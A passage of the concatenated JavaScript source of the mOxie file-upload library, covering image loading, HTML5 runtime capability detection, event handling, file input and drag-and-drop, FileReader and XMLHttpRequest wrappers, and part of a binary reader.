tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, { required_caps: { display_media: true }, runtime_order: 'flash,silverlight', container: el }); } } try { if (!(el = Dom.get(el))) { throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR); } if (!this.size) { // only preloaded image objects can be used as source throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } // high-resolution images cannot be consistently handled across the runtimes if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) { //throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR); } var imgCopy = new Image(); imgCopy.bind("Resize", function() { render.call(this, opts.type, opts.quality); }); imgCopy.bind("Load", function() { imgCopy.downsize(opts); }); // if embedded thumb data is available and dimensions are big enough, use it if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) { imgCopy.load(this.meta.thumb.data); } else { imgCopy.clone(this, false); } return imgCopy; } catch(ex) { // for now simply trigger error event this.trigger('error', ex.code); } }, /** Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object. @method destroy */ destroy: function() { if (this.ruid) { this.getRuntime().exec.call(this, 'Image', 'destroy'); this.disconnectRuntime(); } this.unbindAll(); } }); // this is here, because in order to bind properly, we need uid, which is created above this.handleEventProps(dispatches); this.bind('Load Resize', function() { _updateInfo.call(this); }, 999); function _updateInfo(info) { if (!info) { info = this.exec('Image', 'getInfo'); } this.size = info.size; this.width = info.width; this.height = info.height; this.type = info.type; this.meta = info.meta; // update file name, only if empty if (this.name === '') { this.name = info.name; } } function _load(src) { var srcType = Basic.typeOf(src); try { // if source is Image if (src instanceof Image) { if (!src.size) { // only preloaded image objects can be used as source throw new x.DOMException(x.DOMException.INVALID_STATE_ERR); } _loadFromImage.apply(this, arguments); } // if source is o.Blob/o.File else if (src instanceof Blob) { if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } _loadFromBlob.apply(this, arguments); } // if native blob/file else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) { _load.call(this, new File(null, src), arguments[1]); } // if String else if (srcType === 'string') { // if dataUrl String if (src.substr(0, 5) === 'data:') { _load.call(this, new Blob(null, { data: src }), arguments[1]); } // else assume Url, either relative or absolute else { _loadFromUrl.apply(this, arguments); } } // if source seems to be an img node else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') { _load.call(this, src.src, arguments[1]); } else { throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR); } } catch(ex) { // for now simply trigger error event this.trigger('error', ex.code); } } function _loadFromImage(img, exact) { var runtime = this.connectRuntime(img.ruid); this.ruid = runtime.uid; runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact)); } function _loadFromBlob(blob, options) { var self = this; self.name = blob.name || ''; function exec(runtime) { self.ruid = runtime.uid; runtime.exec.call(self, 'Image', 'loadFromBlob', blob); } if (blob.isDetached()) { this.bind('RuntimeInit', function(e, runtime) { exec(runtime); }); // convert to object representation if (options && typeof(options.required_caps) === 'string') { options.required_caps = Runtime.parseCaps(options.required_caps); } this.connectRuntime(Basic.extend({ required_caps: { access_image_binary: true, resize_image: true } }, options)); } else { exec(this.connectRuntime(blob.ruid)); } } function _loadFromUrl(url, options) { var self = this, xhr; xhr = new XMLHttpRequest(); xhr.open('get', url); xhr.responseType = 'blob'; xhr.onprogress = function(e) { self.trigger(e); }; xhr.onload = function() { _loadFromBlob.call(self, xhr.response, true); }; xhr.onerror = function(e) { self.trigger(e); }; xhr.onloadend = function() { xhr.destroy(); }; xhr.bind('RuntimeError', function(e, err) { self.trigger('RuntimeError', err); }); xhr.send(null, options); } } // virtual world will crash on you if image has a resolution higher than this: Image.MAX_RESIZE_WIDTH = 8192; Image.MAX_RESIZE_HEIGHT = 8192; Image.prototype = EventTarget.instance; return Image; }); // Included from: src/javascript/runtime/html5/Runtime.js /** * Runtime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global File:true */ /** Defines constructor for HTML5 runtime. @class moxie/runtime/html5/Runtime @private */ define("moxie/runtime/html5/Runtime", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/Runtime", "moxie/core/utils/Env" ], function(Basic, x, Runtime, Env) { var type = "html5", extensions = {}; function Html5Runtime(options) { var I = this , Test = Runtime.capTest , True = Runtime.capTrue ; var caps = Basic.extend({ access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL), access_image_binary: function() { return I.can('access_binary') && !!extensions.Image; }, display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')), do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()), drag_and_drop: Test(function() { // this comes directly from Modernizr: http://www.modernizr.com/ var div = document.createElement('div'); // IE has support for drag and drop since version 5, but doesn't support dropping files from desktop return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) && (Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>')); }()), filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>=')); }()), return_response_headers: True, return_response_type: function(responseType) { if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported return true; } return Env.can('return_response_type', responseType); }, return_status_code: True, report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload), resize_image: function() { return I.can('access_binary') && Env.can('create_canvas'); }, select_file: function() { return Env.can('use_fileinput') && window.File; }, select_folder: function() { return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>='); }, select_multiple: function() { // it is buggy on Safari Windows and iOS return I.can('select_file') && !(Env.browser === 'Safari' && Env.os === 'Windows') && !(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<')); }, send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))), send_custom_headers: Test(window.XMLHttpRequest), send_multipart: function() { return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string'); }, slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)), stream_upload: function(){ return I.can('slice_blob') && I.can('send_multipart'); }, summon_file_dialog: function() { // yeah... some dirty sniffing here... return I.can('select_file') && ( (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) || (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || !!~Basic.inArray(Env.browser, ['Chrome', 'Safari']) ); }, upload_filesize: True }, arguments[2] ); Runtime.call(this, options, (arguments[1] || type), caps); Basic.extend(this, { init : function() { this.trigger("Init"); }, destroy: (function(destroy) { // extend default destroy method return function() { destroy.call(I); destroy = I = null; }; }(this.destroy)) }); Basic.extend(this.getShim(), extensions); } Runtime.addConstructor(type, Html5Runtime); return extensions; }); // Included from: src/javascript/core/utils/Events.js /** * Events.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Events', [ 'moxie/core/utils/Basic' ], function(Basic) { var eventhash = {}, uid = 'moxie_' + Basic.guid(); // IE W3C like event funcs function preventDefault() { this.returnValue = false; } function stopPropagation() { this.cancelBubble = true; } /** Adds an event handler to the specified object and store reference to the handler in objects internal Plupload registry (@see removeEvent). @method addEvent @for Utils @static @param {Object} obj DOM element like object to add handler to. @param {String} name Name to add event listener to. @param {Function} callback Function to call when event occurs. @param {String} [key] that might be used to add specifity to the event record. */ var addEvent = function(obj, name, callback, key) { var func, events; name = name.toLowerCase(); // Add event listener if (obj.addEventListener) { func = callback; obj.addEventListener(name, func, false); } else if (obj.attachEvent) { func = function() { var evt = window.event; if (!evt.target) { evt.target = evt.srcElement; } evt.preventDefault = preventDefault; evt.stopPropagation = stopPropagation; callback(evt); }; obj.attachEvent('on' + name, func); } // Log event handler to objects internal mOxie registry if (!obj[uid]) { obj[uid] = Basic.guid(); } if (!eventhash.hasOwnProperty(obj[uid])) { eventhash[obj[uid]] = {}; } events = eventhash[obj[uid]]; if (!events.hasOwnProperty(name)) { events[name] = []; } events[name].push({ func: func, orig: callback, // store original callback for IE key: key }); }; /** Remove event handler from the specified object. If third argument (callback) is not specified remove all events with the specified name. @method removeEvent @static @param {Object} obj DOM element to remove event listener(s) from. @param {String} name Name of event listener to remove. @param {Function|String} [callback] might be a callback or unique key to match. */ var removeEvent = function(obj, name, callback) { var type, undef; name = name.toLowerCase(); if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) { type = eventhash[obj[uid]][name]; } else { return; } for (var i = type.length - 1; i >= 0; i--) { // undefined or not, key should match if (type[i].orig === callback || type[i].key === callback) { if (obj.removeEventListener) { obj.removeEventListener(name, type[i].func, false); } else if (obj.detachEvent) { obj.detachEvent('on'+name, type[i].func); } type[i].orig = null; type[i].func = null; type.splice(i, 1); // If callback was passed we are done here, otherwise proceed if (callback !== undef) { break; } } } // If event array got empty, remove it if (!type.length) { delete eventhash[obj[uid]][name]; } // If mOxie registry has become empty, remove it if (Basic.isEmptyObj(eventhash[obj[uid]])) { delete eventhash[obj[uid]]; // IE doesn't let you remove DOM object property with - delete try { delete obj[uid]; } catch(e) { obj[uid] = undef; } } }; /** Remove all kind of events from the specified object @method removeAllEvents @static @param {Object} obj DOM element to remove event listeners from. @param {String} [key] unique key to match, when removing events. */ var removeAllEvents = function(obj, key) { if (!obj || !obj[uid]) { return; } Basic.each(eventhash[obj[uid]], function(events, name) { removeEvent(obj, name, key); }); }; return { addEvent: addEvent, removeEvent: removeEvent, removeAllEvents: removeAllEvents }; }); // Included from: src/javascript/runtime/html5/file/FileInput.js /** * FileInput.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/FileInput @private */ define("moxie/runtime/html5/file/FileInput", [ "moxie/runtime/html5/Runtime", "moxie/file/File", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Events", "moxie/core/utils/Mime", "moxie/core/utils/Env" ], function(extensions, File, Basic, Dom, Events, Mime, Env) { function FileInput() { var _options; Basic.extend(this, { init: function(options) { var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top; _options = options; // figure out accept string mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension')); shimContainer = I.getShimContainer(); shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' + (_options.multiple && I.can('select_multiple') ? 'multiple' : '') + (_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+ (mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />'; input = Dom.get(I.uid); // prepare file input to be placed underneath the browse_button element Basic.extend(input.style, { position: 'absolute', top: 0, left: 0, width: '100%', height: '100%' }); browseButton = Dom.get(_options.browse_button); // Route click event to the input[type=file] element for browsers that support such behavior if (I.can('summon_file_dialog')) { if (Dom.getStyle(browseButton, 'position') === 'static') { browseButton.style.position = 'relative'; } zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1; browseButton.style.zIndex = zIndex; shimContainer.style.zIndex = zIndex - 1; Events.addEvent(browseButton, 'click', function(e) { var input = Dom.get(I.uid); if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file] input.click(); } e.preventDefault(); }, comp.uid); } /* Since we have to place input[type=file] on top of the browse_button for some browsers, browse_button loses interactivity, so we restore it here */ top = I.can('summon_file_dialog') ? browseButton : shimContainer; Events.addEvent(top, 'mouseover', function() { comp.trigger('mouseenter'); }, comp.uid); Events.addEvent(top, 'mouseout', function() { comp.trigger('mouseleave'); }, comp.uid); Events.addEvent(top, 'mousedown', function() { comp.trigger('mousedown'); }, comp.uid); Events.addEvent(Dom.get(_options.container), 'mouseup', function() { comp.trigger('mouseup'); }, comp.uid); input.onchange = function onChange(e) { // there should be only one handler for this comp.files = []; Basic.each(this.files, function(file) { var relativePath = ''; if (_options.directory) { // folders are represented by dots, filter them out (Chrome 11+) if (file.name == ".") { // if it looks like a folder... return true; } } if (file.webkitRelativePath) { relativePath = '/' + file.webkitRelativePath.replace(/^\//, ''); } file = new File(I.uid, file); file.relativePath = relativePath; comp.files.push(file); }); // clearing the value enables the user to select the same file again if they want to if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') { this.value = ''; } else { // in IE input[type="file"] is read-only so the only way to reset it is to re-insert it var clone = this.cloneNode(true); this.parentNode.replaceChild(clone, this); clone.onchange = onChange; } if (comp.files.length) { comp.trigger('change'); } }; // ready event is perfectly asynchronous comp.trigger({ type: 'ready', async: true }); shimContainer = null; }, disable: function(state) { var I = this.getRuntime(), input; if ((input = Dom.get(I.uid))) { input.disabled = !!state; } }, destroy: function() { var I = this.getRuntime() , shim = I.getShim() , shimContainer = I.getShimContainer() ; Events.removeAllEvents(shimContainer, this.uid); Events.removeAllEvents(_options && Dom.get(_options.container), this.uid); Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid); if (shimContainer) { shimContainer.innerHTML = ''; } shim.removeInstance(this.uid); _options = shimContainer = shim = null; } }); } return (extensions.FileInput = FileInput); }); // Included from: src/javascript/runtime/html5/file/Blob.js /** * Blob.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/Blob @private */ define("moxie/runtime/html5/file/Blob", [ "moxie/runtime/html5/Runtime", "moxie/file/Blob" ], function(extensions, Blob) { function HTML5Blob() { function w3cBlobSlice(blob, start, end) { var blobSlice; if (window.File.prototype.slice) { try { blob.slice(); // depricated version will throw WRONG_ARGUMENTS_ERR exception return blob.slice(start, end); } catch (e) { // depricated slice method return blob.slice(start, end - start); } // slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672 } else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) { return blobSlice.call(blob, start, end); } else { return null; // or throw some exception } } this.slice = function() { return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments)); }; } return (extensions.Blob = HTML5Blob); }); // Included from: src/javascript/runtime/html5/file/FileDrop.js /** * FileDrop.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/FileDrop @private */ define("moxie/runtime/html5/file/FileDrop", [ "moxie/runtime/html5/Runtime", 'moxie/file/File', "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Events", "moxie/core/utils/Mime" ], function(extensions, File, Basic, Dom, Events, Mime) { function FileDrop() { var _files = [], _allowedExts = [], _options, _ruid; Basic.extend(this, { init: function(options) { var comp = this, dropZone; _options = options; _ruid = comp.ruid; // every dropped-in file should have a reference to the runtime _allowedExts = _extractExts(_options.accept); dropZone = _options.container; Events.addEvent(dropZone, 'dragover', function(e) { if (!_hasFiles(e)) { return; } e.preventDefault(); e.dataTransfer.dropEffect = 'copy'; }, comp.uid); Events.addEvent(dropZone, 'drop', function(e) { if (!_hasFiles(e)) { return; } e.preventDefault(); _files = []; // Chrome 21+ accepts folders via Drag'n'Drop if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) { _readItems(e.dataTransfer.items, function() { comp.files = _files; comp.trigger("drop"); }); } else { Basic.each(e.dataTransfer.files, function(file) { _addFile(file); }); comp.files = _files; comp.trigger("drop"); } }, comp.uid); Events.addEvent(dropZone, 'dragenter', function(e) { comp.trigger("dragenter"); }, comp.uid); Events.addEvent(dropZone, 'dragleave', function(e) { comp.trigger("dragleave"); }, comp.uid); }, destroy: function() { Events.removeAllEvents(_options && Dom.get(_options.container), this.uid); _ruid = _files = _allowedExts = _options = null; } }); function _hasFiles(e) { if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover return false; } var types = Basic.toArray(e.dataTransfer.types || []); return Basic.inArray("Files", types) !== -1 || Basic.inArray("public.file-url", types) !== -1 || // Safari < 5 Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6) ; } function _addFile(file, relativePath) { if (_isAcceptable(file)) { var fileObj = new File(_ruid, file); fileObj.relativePath = relativePath || ''; _files.push(fileObj); } } function _extractExts(accept) { var exts = []; for (var i = 0; i < accept.length; i++) { [].push.apply(exts, accept[i].extensions.split(/\s*,\s*/)); } return Basic.inArray('*', exts) === -1 ? exts : []; } function _isAcceptable(file) { if (!_allowedExts.length) { return true; } var ext = Mime.getFileExtension(file.name); return !ext || Basic.inArray(ext, _allowedExts) !== -1; } function _readItems(items, cb) { var entries = []; Basic.each(items, function(item) { var entry = item.webkitGetAsEntry(); // Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579) if (entry) { // file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61 if (entry.isFile) { _addFile(item.getAsFile(), entry.fullPath); } else { entries.push(entry); } } }); if (entries.length) { _readEntries(entries, cb); } else { cb(); } } function _readEntries(entries, cb) { var queue = []; Basic.each(entries, function(entry) { queue.push(function(cbcb) { _readEntry(entry, cbcb); }); }); Basic.inSeries(queue, function() { cb(); }); } function _readEntry(entry, cb) { if (entry.isFile) { entry.file(function(file) { _addFile(file, entry.fullPath); cb(); }, function() { // fire an error event maybe cb(); }); } else if (entry.isDirectory) { _readDirEntry(entry, cb); } else { cb(); // not file, not directory? what then?.. } } function _readDirEntry(dirEntry, cb) { var entries = [], dirReader = dirEntry.createReader(); // keep quering recursively till no more entries function getEntries(cbcb) { dirReader.readEntries(function(moreEntries) { if (moreEntries.length) { [].push.apply(entries, moreEntries); getEntries(cbcb); } else { cbcb(); } }, cbcb); } // ...and you thought FileReader was crazy... getEntries(function() { _readEntries(entries, cb); }); } } return (extensions.FileDrop = FileDrop); }); // Included from: src/javascript/runtime/html5/file/FileReader.js /** * FileReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/file/FileReader @private */ define("moxie/runtime/html5/file/FileReader", [ "moxie/runtime/html5/Runtime", "moxie/core/utils/Encode", "moxie/core/utils/Basic" ], function(extensions, Encode, Basic) { function FileReader() { var _fr, _convertToBinary = false; Basic.extend(this, { read: function(op, blob) { var comp = this; comp.result = ''; _fr = new window.FileReader(); _fr.addEventListener('progress', function(e) { comp.trigger(e); }); _fr.addEventListener('load', function(e) { comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result; comp.trigger(e); }); _fr.addEventListener('error', function(e) { comp.trigger(e, _fr.error); }); _fr.addEventListener('loadend', function(e) { _fr = null; comp.trigger(e); }); if (Basic.typeOf(_fr[op]) === 'function') { _convertToBinary = false; _fr[op](blob.getSource()); } else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+ _convertToBinary = true; _fr.readAsDataURL(blob.getSource()); } }, abort: function() { if (_fr) { _fr.abort(); } }, destroy: function() { _fr = null; } }); function _toBinary(str) { return Encode.atob(str.substring(str.indexOf('base64,') + 7)); } } return (extensions.FileReader = FileReader); }); // Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js /** * XMLHttpRequest.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global ActiveXObject:true */ /** @class moxie/runtime/html5/xhr/XMLHttpRequest @private */ define("moxie/runtime/html5/xhr/XMLHttpRequest", [ "moxie/runtime/html5/Runtime", "moxie/core/utils/Basic", "moxie/core/utils/Mime", "moxie/core/utils/Url", "moxie/file/File", "moxie/file/Blob", "moxie/xhr/FormData", "moxie/core/Exceptions", "moxie/core/utils/Env" ], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) { function XMLHttpRequest() { var self = this , _xhr , _filename ; Basic.extend(this, { send: function(meta, data) { var target = this , isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<')) , isAndroidBrowser = Env.browser === 'Android Browser' , mustSendAsBinary = false ; // extract file name _filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase(); _xhr = _getNativeXHR(); _xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password); // prepare data to be sent if (data instanceof Blob) { if (data.isDetached()) { mustSendAsBinary = true; } data = data.getSource(); } else if (data instanceof FormData) { if (data.hasBlob()) { if (data.getBlob().isDetached()) { data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state mustSendAsBinary = true; } else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) { // Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150 // Android browsers (default one and Dolphin) seem to have the same issue, see: #613 _preloadAndSend.call(target, meta, data); return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D } } // transfer fields to real FormData if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart() var fd = new window.FormData(); data.each(function(value, name) { if (value instanceof Blob) { fd.append(name, value.getSource()); } else { fd.append(name, value); } }); data = fd; } } // if XHR L2 if (_xhr.upload) { if (meta.withCredentials) { _xhr.withCredentials = true; } _xhr.addEventListener('load', function(e) { target.trigger(e); }); _xhr.addEventListener('error', function(e) { target.trigger(e); }); // additionally listen to progress events _xhr.addEventListener('progress', function(e) { target.trigger(e); }); _xhr.upload.addEventListener('progress', function(e) { target.trigger({ type: 'UploadProgress', loaded: e.loaded, total: e.total }); }); // ... otherwise simulate XHR L2 } else { _xhr.onreadystatechange = function onReadyStateChange() { // fake Level 2 events switch (_xhr.readyState) { case 1: // XMLHttpRequest.OPENED // readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu break; // looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu case 2: // XMLHttpRequest.HEADERS_RECEIVED break; case 3: // XMLHttpRequest.LOADING // try to fire progress event for not XHR L2 var total, loaded; try { if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here } if (_xhr.responseText) { // responseText was introduced in IE7 loaded = _xhr.responseText.length; } } catch(ex) { total = loaded = 0; } target.trigger({ type: 'progress', lengthComputable: !!total, total: parseInt(total, 10), loaded: loaded }); break; case 4: // XMLHttpRequest.DONE // release readystatechange handler (mostly for IE) _xhr.onreadystatechange = function() {}; // usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout if (_xhr.status === 0) { target.trigger('error'); } else { target.trigger('load'); } break; } }; } // set request headers if (!Basic.isEmptyObj(meta.headers)) { Basic.each(meta.headers, function(value, header) { _xhr.setRequestHeader(header, value); }); } // request response type if ("" !== meta.responseType && 'responseType' in _xhr) { if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one _xhr.responseType = 'text'; } else { _xhr.responseType = meta.responseType; } } // send ... if (!mustSendAsBinary) { _xhr.send(data); } else { if (_xhr.sendAsBinary) { // Gecko _xhr.sendAsBinary(data); } else { // other browsers having support for typed arrays (function() { // mimic Gecko's sendAsBinary var ui8a = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { ui8a[i] = (data.charCodeAt(i) & 0xff); } _xhr.send(ui8a.buffer); }()); } } target.trigger('loadstart'); }, getStatus: function() { // according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception try { if (_xhr) { return _xhr.status; } } catch(ex) {} return 0; }, getResponse: function(responseType) { var I = this.getRuntime(); try { switch (responseType) { case 'blob': var file = new File(I.uid, _xhr.response); // try to extract file name from content-disposition if possible (might be - not, if CORS for example) var disposition = _xhr.getResponseHeader('Content-Disposition'); if (disposition) { // extract filename from response header if available var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/); if (match) { _filename = match[2]; } } file.name = _filename; // pre-webkit Opera doesn't set type property on the blob response if (!file.type) { file.type = Mime.getFileMime(_filename); } return file; case 'json': if (!Env.can('return_response_type', 'json')) { return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null; } return _xhr.response; case 'document': return _getDocument(_xhr); default: return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes } } catch(ex) { return null; } }, getAllResponseHeaders: function() { try { return _xhr.getAllResponseHeaders(); } catch(ex) {} return ''; }, abort: function() { if (_xhr) { _xhr.abort(); } }, destroy: function() { self = _filename = null; } }); // here we go... ugly fix for ugly bug function _preloadAndSend(meta, data) { var target = this, blob, fr; // get original blob blob = data.getBlob().getSource(); // preload blob in memory to be sent as binary string fr = new window.FileReader(); fr.onload = function() { // overwrite original blob data.append(data.getBlobName(), new Blob(null, { type: blob.type, data: fr.result })); // invoke send operation again self.send.call(target, meta, data); }; fr.readAsBinaryString(blob); } function _getNativeXHR() { if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy return new window.XMLHttpRequest(); } else { return (function() { var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0 for (var i = 0; i < progIDs.length; i++) { try { return new ActiveXObject(progIDs[i]); } catch (ex) {} } })(); } } // @credits Sergey Ilinsky (http://www.ilinsky.com/) function _getDocument(xhr) { var rXML = xhr.responseXML; var rText = xhr.responseText; // Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type) if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) { rXML = new window.ActiveXObject("Microsoft.XMLDOM"); rXML.async = false; rXML.validateOnParse = false; rXML.loadXML(rText); } // Check if there is no error in document if (rXML) { if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") { return null; } } return rXML; } function _prepareMultipart(fd) { var boundary = '----moxieboundary' + new Date().getTime() , dashdash = '--' , crlf = '\r\n' , multipart = '' , I = this.getRuntime() ; if (!I.can('send_binary_string')) { throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR); } _xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary); // append multipart parameters fd.each(function(value, name) { // Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(), // so we try it here ourselves with: unescape(encodeURIComponent(value)) if (value instanceof Blob) { // Build RFC2388 blob multipart += dashdash + boundary + crlf + 'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf + 'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf + value.getSource() + crlf; } else { multipart += dashdash + boundary + crlf + 'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf + unescape(encodeURIComponent(value)) + crlf; } }); multipart += dashdash + boundary + dashdash + crlf; return multipart; } } return (extensions.XMLHttpRequest = XMLHttpRequest); }); // Included from: src/javascript/runtime/html5/utils/BinaryReader.js /** * BinaryReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/utils/BinaryReader @private */ define("moxie/runtime/html5/utils/BinaryReader", [ "moxie/core/utils/Basic" ], function(Basic) { function BinaryReader(data) { if (data instanceof ArrayBuffer) { ArrayBufferReader.apply(this, arguments); } else { UTF16StringReader.apply(this, arguments); } }   Basic.extend(BinaryReader.prototype, { littleEndian: false, read: function(idx, size) { var sum, mv, i; if (idx + size > this.length()) { throw new Error("You are trying to read outside the source boundaries."); } mv = this.littleEndian ? 0 : -8 * (size - 1) ; for (i = 0, sum = 0; i < size; i++) { sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8)); } return sum; }, write: function(idx, num, size) { var mv, i, str = ''; if (idx > this.length()) { throw new Error("You are trying to write outside the source boundaries."); } mv = this.littleEndian ? 0 : -8 * (size - 1) ; for (i = 0; i < size; i++) { this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255); } }, BYTE: function(idx) { return this.read(idx, 1); }, SHORT: function(idx) { return this.read(idx, 2); }, LONG: function(idx) { return this.read(idx, 4); }, SLONG: function(idx) { // 2's complement notation var num = this.read(idx, 4); return (num > 2147483647 ? num - 4294967296 : num); }, CHAR: function(idx) { return String.fromCharCode(this.read(idx, 1)); }, STRING: function(idx, count) { return this.asArray('CHAR', idx, count).join(''); }, asArray: function(type, idx, count) { var values = []; for (var i = 0; i < count; i++) { values[i] = this[type](idx + i); } return values; } }); function ArrayBufferReader(data) { var _dv = new DataView(data); Basic.extend(this, { readByteAt: function(idx) { return _dv.getUint8(idx); }, writeByteAt: function(idx, value) { _dv.setUint8(idx, value); }, SEGMENT: function(idx, size, value) { switch (arguments.length) { case 2: return data.slice(idx, idx + size); case 1: return data.slice(idx); case 3: if (value === null) { value = new ArrayBuffer(); } if (value instanceof ArrayBuffer) { var arr = new Uint8Array(this.length() - size + value.byteLength); if (idx > 0) { arr.set(new 